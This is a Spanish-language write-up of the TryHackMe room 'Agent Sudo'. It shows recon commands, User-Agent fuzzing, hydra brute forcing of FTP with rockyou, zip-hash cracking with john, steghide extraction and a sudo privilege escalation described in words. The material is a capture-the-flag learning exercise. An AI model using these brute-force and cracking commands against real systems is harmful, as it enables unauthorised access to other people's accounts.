Agent Sudo es una maquina de TryHackMe, utilizamos burpsuite para encontrar el nombre de uno de los agentes seguidamente de un usuario, hydra para obtener acceso al servicio FTP, finalmente un reto de esteganografia para obtener las credenciales de acceso a la maquina. Mediante una vulnerabilidad en Sudo obtuvimos acceso root.
Room
Recon
nmap
Escaneo de puertos tcp/udp, nmap nos muestra el puerto http (80), el puerto ssh (22) y el puerto ftp (21) abiertos.
1# Nmap 7.80 scan initiated Tue Feb 4 21:35:26 2020 as: nmap -p- -sV -sC -T4 -o nmap_scan 10.10.235.45
2Nmap scan report for 10.10.235.45
3Host is up (0.20s latency).
4Not shown: 65532 closed ports
5PORT STATE SERVICE VERSION
621/tcp open ftp vsftpd 3.0.3
722/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
10| 256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
11|_ 256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
1280/tcp open http Apache httpd 2.4.29 ((Ubuntu))
13|_http-server-header: Apache/2.4.29 (Ubuntu)
14|_http-title: Annoucement
15Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18# Nmap done at Tue Feb 4 21:43:52 2020 -- 1 IP address (1 host up) scanned in 506.11 secondsWeb Site
Whatweb
Esca corriendo una pagina sobre apache 2.4.29.
1root@aoiri:~/tryhackme/agentsudo# whatweb http://10.10.235.45
2http://10.10.235.45 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.235.45], Title[Annoucement]
3root@aoiri:~/tryhackme/agentsudo#Gobuster
Utilizamos gobuster para busqueda de directorios y archivos que nos pudiesen servir.
1root@aoiri:~/tryhackme/agentsudo# gobuster dir -u 10.10.235.45 -w /usr/share/wordlists/dirb/common_nofirst10.txt -x php,html,txt -t 15 -q
2/index.php (Status: 200)
3/index.php (Status: 200)
4/server-status (Status: 403)HTTP Web
Al visitar la pagina encontramos un mensaje, en el cual nos mencionan el user-agent y que debemos de utilizar nuestro nombre en codigo para acceder.

Utilizamos ‘R’ en User-Agent y nos muestra un mensaje distinto.

Utilizamos BURPSUITE para poder realizar distintas peticiones con el ‘User-Agent’ utilizando como payloads:
1>>> import string
2>>> print string.printable
30123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~Encontramos que existe el Agente C, el contenido solo puede ser visto en nuestro navegador ya que nos redirige hacia otra pagina.

Agente C: Nos muestra un mensaje que muestra el nombre del agente ‘chris’.

FTP
Para poder acceder al servicio de FTP utilizamos hydra para realizar fuerza bruta a la contraseña con el usuario chris.
1root@aoiri:~/tryhackme/agentsudo# hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.235.45
2Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
3
4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-04 22:13:47
5[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
6[DATA] attacking ftp://10.10.235.45:21/
7[STATUS] 240.00 tries/min, 240 tries in 00:01h, 14344159 to do in 996:08h, 16 active
8[21][ftp] host: 10.10.235.45 login: chris password: *******
91 of 1 target successfully completed, 1 valid password found
10Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-04 22:14:56Al acceder nos encontramos con varios archivos:
1root@aoiri:~/tryhackme/agentsudo# ftp 10.10.235.45
2Connected to 10.10.235.45.
3220 (vsFTPd 3.0.3)
4Name (10.10.235.45:root): chris
5331 Please specify the password.
6Password:
7230 Login successful.
8Remote system type is UNIX.
9Using binary mode to transfer files.
10ftp> ls
11200 PORT command successful. Consider using PASV.
12150 Here comes the directory listing.
13-rw-r--r-- 1 0 0 217 Oct 29 12:15 To_agentJ.txt
14-rw-r--r-- 1 0 0 33143 Oct 29 12:22 cute-alien.jpg
15-rw-r--r-- 1 0 0 34842 Oct 29 12:33 cutie.webp
16226 Directory send OK.
17ftp> mget *
18mget To_agentJ.txt? y
19200 PORT command successful. Consider using PASV.
20150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
21226 Transfer complete.
22217 bytes received in 0.00 secs (1.3526 MB/s)
23mget cute-alien.jpg? y
24200 PORT command successful. Consider using PASV.
25150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
26226 Transfer complete.
2733143 bytes received in 0.22 secs (145.3596 kB/s)
28mget cutie.webp? y
29200 PORT command successful. Consider using PASV.
30150 Opening BINARY mode data connection for cutie.webp (34842 bytes).
31226 Transfer complete.
3234842 bytes received in 0.35 secs (95.8564 kB/s)
33ftp>En el archivo de texto nos muestra un mensaje para el Agente J, en el que explica que la contraseña esta dentro de la imagen falsa.
1root@aoiri:~/tryhackme/agentsudo# cat To_agentJ.txt
2Dear agent J,
3
4All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
5
6From,
7Agent C
Stego
Utilizamos binwalk para ver el contenido de las imagenes y vemos que la imagen PNG tiene un archivo de texto.
1root@aoiri:~/tryhackme/agentsudo/tmp# binwalk cute-alien.jpg
2
3DECIMAL HEXADECIMAL DESCRIPTION
4--------------------------------------------------------------------------------
50 0x0 JPEG image data, JFIF standard 1.01
6
7root@aoiri:~/tryhackme/agentsudo/tmp# binwalk cutie.webp
8
9DECIMAL HEXADECIMAL DESCRIPTION
10--------------------------------------------------------------------------------
110 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
12869 0x365 Zlib compressed data, best compression
1334562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
1434820 0x8804 End of Zip archive, footer length: 22
15
16root@aoiri:~/tryhackme/agentsudo/tmp#Extraemos el contenido de la imagen con binwalk y encontramos un archivo comprimido que contiene el archivo de texto, utilizamos john the ripper para obtener la contraseña por fuerza bruta.
1root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# zip2john 8702.zip > hash_zip
2ver 81.9 8702.zip/To_agentR.txt is not encrypted, or stored with non-handled compression type
3root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# cat hash_zip
48702.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e[... hash-here-dont-show-cuz-tryhackme-ban-me-:v-end ...]*$/zip2$:To_agentR.txt:8702.zip:8702.zip
5root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# john hash_zip
6Using default input encoding: UTF-8
7Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
8Will run 2 OpenMP threads
9Proceeding with single, rules:Single
10Press 'q' or Ctrl-C to abort, almost any other key for status
11Almost done: Processing the remaining buffered candidate passwords, if any.
12Warning: Only 10 candidates buffered for the current salt, minimum 16 needed for performance.
13Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
14***** (8702.zip/To_agentR.txt)
151g 0:00:00:00 DONE 2/3 (2020-02-04 22:58) 1.052g/s 46303p/s 46303c/s 46303C/s 123456..Peter
16Use the "--show" option to display all of the cracked passwords reliably
17Session completed
18root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted#Extraemos los archivos del archivo zip:
1root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# 7z x 8702.zip
2
37-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
4p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz (806EA),ASM,AES-NI)
5
6Scanning the drive for archives:
71 file, 280 bytes (1 KiB)
8
9Extracting archive: 8702.zip
10--
11Path = 8702.zip
12Type = zip
13Physical Size = 280
14
15
16Enter password (will not be echoed): *****
17Everything is Ok
18
19Size: 86
20Compressed: 280
21root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# ls
22365 365.zlib 8702.zip hash_zip To_agentR.txtVemos un mensaje que nos muestra la contraseña de la que nos mencionaba la anterior nota:
1root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted# cat To_agentR.txt
2Agent C,
3
4We need to send the picture to '*******' as soon as possible!
5
6By,
7Agent R
8root@aoiri:~/tryhackme/agentsudo/tmp/_cutie.webp.extracted#Utilizamos la contraseña (decodificada en base64) para obtener los archivos de la imagen JPG:
1root@aoiri:~/tryhackme/agentsudo/tmp# steghide extract -sf cute-alien.jpg
2Enter passphrase:
3wrote extracted data to "message.txt".
4root@aoiri:~/tryhackme/agentsudo/tmp# cat message.txt
5Hi james,
6
7Glad you find this message. Your login password is ************
8
9Don't ask me why the password look cheesy, ask agent R who set this password for you.
10
11Your buddy,
12chris
13root@aoiri:~/tryhackme/agentsudo/tmp#User - James
Ahora que tenemos las credenciales, las utilizamos con el servicio SSH de la maquina, obtenemos nuestra shell y nuestra flag user.txt.

Privesc
Hacemos una enumeracion sencilla con sudo -l para listar los comandos/archivos que podemos ejecutar sin contraseña y con privilegios root, vemos /bin/bash pero al intentar ejecutarlo con sudo no se ejecuta.
1james@agent-sudo:~$ sudo -l -l
2[sudo] password for james:
3Matching Defaults entries for james on agent-sudo:
4 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
6User james may run the following commands on agent-sudo:
7
8Sudoers entry:
9 RunAsUsers: ALL, !root
10 Commands:
11 /bin/bash
12james@agent-sudo:~$ sudo /bin/bash
13Sorry, user james is not allowed to execute '/bin/bash' as root on agent-sudo.
14james@agent-sudo:~$ Buscamos una vulnerabilidad para sudo y vemos que existe un exploit con el cual podemos obtener acceso de superusuario.
Descargamos el exploit, lo ejecutamos, obtenemos nuestra shell y nuestra flag root.txt.

